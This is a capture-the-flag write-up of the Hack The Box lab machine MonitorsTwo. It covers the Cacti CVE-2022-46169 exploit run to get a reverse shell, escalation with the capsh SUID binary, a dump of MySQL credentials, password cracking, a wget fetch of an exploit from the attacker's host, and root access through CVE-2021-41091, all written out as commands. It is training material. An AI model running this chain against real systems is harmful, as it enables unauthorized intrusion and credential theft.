HTB MonitorsTwo - Writeup

Introduction

This comprehensive write-up details our successful penetration of the MonitorsTwo HTB machine. Our step-by-step account covers every aspect of our methodology, from reconnaissance to privilege escalation, ultimately leading to root access. By sharing our experience, we aim to contribute valuable insights to the cybersecurity community.

			Name	OS	Difficulty	Points	Release	IP
			MonitorsTwo	Linux	Easy	20	29 Apr 2023	10.10.11.211

Reconnaissance

Nmap Scan

Command & output:

$ nmap -sC -sV -oN scan.txt 10.10.11.211

Nmap scan report for 10.10.11.211
Host is up (0.041s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
|   256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_  256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
| http-title: 404 Not Found
|_Requested resource was install.php
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Our reconnaissance began with an Nmap scan, revealing two open ports: 22 for SSH and 80 for HTTP. Port 80 hosted a web application named “Cacti v1.2.22,” which sparked our interest due to its association with CVE-2022-46169. Picture 1: Uncovering the Cacti v1.2.22 Web Application

Getting Shell

Exploiting Cacti Vulnerability

We made a copy of the “CVE-2022-46169” exploit from GitHub. With the exploit in hand, we were able to run it by providing the target machine’s IP address along with our local IP address and a designated local port. Then, we initiated a NetCat listener to be prepared for incoming connections, and we were all set to execute the exploit. This effort paid off as the exploit enabled us to gain access to the target machine through a shell. Once we had the shell, the next step was to enhance it. If you’re looking to learn more about improving shells in various ways, HackTricks offers a valuable resource for this purpose.

Commands:

$ nc -nvlp 9001
$ python3 CVE-2022-46169.py -u http://10.10.11.211  --LHOST=10.10.14.30 --LPORT 9001
$ id
$ which python
$ which python3 
$ which script
$ script -qc /bin/bash /dev/null
$ ALT + Z
$ stty raw -echo; fg
$ export TERM=xterm

Picture 2: Gaining Shell Access to the Target Machine

Exploring Docker Environment and SUIDs

While exploring the machine, I didn’t stumble upon anything of note. However, a significant discovery emerged from inspecting the environment variables using the env command. It became evident that the machine is, in fact, a Docker container. Upon examining the Docker version, which is Docker version 20.10.5+dfsg1, a quick Google search brought up information about CVE-2021-41091. This CVE signifies a vulnerability that could have implications for the container.

CVE-2021-41091 is a flaw in Moby (Docker Engine) that allows unprivileged Linux users to traverse and execute programs within the data directory (usually located at /var/lib/docker) due to improperly restricted permissions. This vulnerability is present when containers contain executable programs with extended permissions, such as setuid. Unprivileged Linux users can then discover and execute those programs, as well as modify files if the UID of the user on the host matches the file owner or group inside the container.

However, our current focus is on gaining root privileges for the Docker machine. While exploring potentially interesting SUIDs (Set User ID) binaries, we came across one that caught our attention: /sbin/capsh. Upon investigating this binary using GTFObins, we discovered that it presents a straightforward exploitable vulnerability.

Commands:

$ env
$ find / -perm -u=s -type f 2> /dev/null
$ /sbin/capsh --gid=0 --uid=0 --
$ id 

Picture 3: Exploring Docker Environment and SUIDs

Unearthing Sensitive File Exposing MySQL Credentials

With root privileges secured on the Docker container, we can now search for valuable files or clues that could aid us in further escalating our access and breaking out of the Docker container. Our efforts paid off when we stumbled upon a significant discovery. A bash script file containing mysql credentials. This find is a true gold mine that could potentially provide us with the means to progress towards our goal of breaking free from the Docker container.

Commands:

$ ls -la
$ cat entrypoint.sh

Picture 4: Unearthing Sensitive File Exposing mysql Credentials

We replicated the command outlined in the script, which unveiled a comprehensive list of the database tables. Among them, one table stood out as particularly intriguing: user_auth. This table held crucial information, specifically the credentials belonging to the user named marcus.

Commands:

$ mysql --host=db --user=root --password=root cacti -e "Show Tables"
$ mysql --host=db --user=root --password=root cacti -e "SELECT * FROM user_auth"

Picture 5: Extracting Sensitive Information for User marcus from the mysql Database

Now that we possess the credentials for user marcus, our next step involves cracking the password using JohnTheRipper.

Commands:

$ john creeds.txt
$ cat creeds.txt
$ john creeds.txt --show

Picture 6: Decrypting the Password Hash for User marcus

Getting User Access

Upon successfully cracking the marcus password, we recalled that port 22 was accessible on the target machine. Employing the now-acquired credentials, we initiated SSH authentication, which granted us an SSH session on the system. As a result, we were able to access the user flag.

Commands:

$ ssh [email protected]
$ ls -la

Picture 7: Acquiring SSH Session as User marcus and Retrieving the User Flag

Getting Root

With an active SSH session on the target machine and root privileges within the Docker container, we can proceed to address CVE-2021-41091. To begin, we’ll transfer the exploit to the marcus SSH session by utilizing a Python server to host the file.

Command:

$ python3 -m http.server 80

Picture 8: Hosting the Exploit Using a Python Server

With the exploit now hosted, we can proceed to download it within the marcus SSH session using the wget command.

Commands:

$ docker --version
$ cd dev/shm/
$ wget http://10.10.14.30/exp.sh
$ ls

Picture 9: Transfer the Exploit to the Target Machine

Before executing the exploit, it’s necessary to grant SUID permissions to /bin/bash within the Docker container. To do this, we’ll return to the Docker session and apply the SUID permission to /bin/bash.

Commands:

$ chmod u+s /bin/bash
$ ls -la /bin/bash

Picture 10: Granting SUID Permissions to /bin/bash

Now that /bin/bash is granted SUID permissions, let’s go back to the marcus SSH session. We should ensure the exploit is executable first. After that, we can execute the exploit. When prompted, type YES to confirm the action.

Commands:

$ ls
$ chmod +x exp.sh
$ ./exp.sh

Picture 11: Executing the Exploit on the Target Machine

Following this, navigate to the vulnerable path and execute the command ./bin/bash -p. By doing so, we’ve successfully achieved our objective of gaining complete control over the HTB MonitorsTwo machine.

Commands:

$ ./bin/bash -p
$ id 
$ whoami
$ cat /root/root.txt && hostname && ip addr

Picture 12: Proof of Concept

Summary

In this cybersecurity adventure, we set out on a mission to uncover the secrets of the MonitorsTwo HTB machine. Here’s what we discovered:

• Reconnaissance: We started by scanning for open doors (ports) and found two: SSH and HTTP. The HTTP port led us to an interesting web app called “Cacti v1.2.22.”

• Exploiting Cacti Vulnerability: We managed to exploit a weakness in this web app, granting us access to the target system.

• Exploring Docker Environment: Inside, we found that the target was a Docker container, and we exploited another vulnerability, giving us superuser powers.

• Finding MySQL Credentials: While searching around, we found a treasure trove: MySQL login details.

• Getting User and Root Access: Using these credentials, we gained access as a regular user, “marcus.” Then, we went a step further and gained full control over the system.

Conclusion

Our journey into the MonitorsTwo HTB machine taught us valuable lessons about finding weaknesses and securing systems. We hope our experiences will help others in the cybersecurity community. Keep learning and sharing – together.